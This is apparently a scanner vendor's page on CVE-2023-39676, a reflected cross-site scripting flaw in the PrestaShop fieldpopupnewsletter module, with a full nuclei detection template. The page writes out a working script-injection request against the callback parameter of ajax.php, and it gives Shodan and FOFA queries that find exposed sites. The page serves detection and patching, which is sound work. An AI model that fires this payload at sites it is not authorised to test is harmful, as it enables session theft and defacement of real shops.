PrestaShop fieldpopupnewsletter Module - Cross Site Scripting

mediumseverity

6.1CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

Fieldpopupnewsletter Prestashop Module v1.0.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback parameter at ajax.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential theft of sensitive information, session hijacking, or defacement.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "<script>alert(document.domain)</script>" and "Invalid email" AND status 200

Run it with nuclei: nuclei -id CVE-2023-39676 -u <target>

The full check

id: CVE-2023-39676

info:
  name: PrestaShop fieldpopupnewsletter Module - Cross Site Scripting
  author: meme-lord
  severity: medium
  description: |
    Fieldpopupnewsletter Prestashop Module v1.0.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the callback parameter at ajax.php.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the affected website, leading to potential theft of sensitive information, session hijacking, or defacement.
  reference:
    - https://blog.sorcery.ie/posts/fieldpopupnewsletter_xss/
    - https://sorcery.ie
    - https://themeforest.net/user/fieldthemes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-39676
    cwe-id: CWE-79
    epss-score: 0.01432
    epss-percentile: 0.73282
    cpe: cpe:2.3:a:fieldthemes:fieldpopupnewsletter:1.0.0:*:*:*:*:prestashop:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: fieldthemes
    product: fieldpopupnewsletter
    framework: prestashop
    shodan-query:
      - html:"fieldpopupnewsletter"
      - http.html:"fieldpopupnewsletter"
    fofa-query: body="fieldpopupnewsletter"
  tags: cve2023,cve,prestashop,xss,fieldthemes,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/modules/fieldpopupnewsletter/ajax.php?callback=%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain)</script>"
          - "Invalid email"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from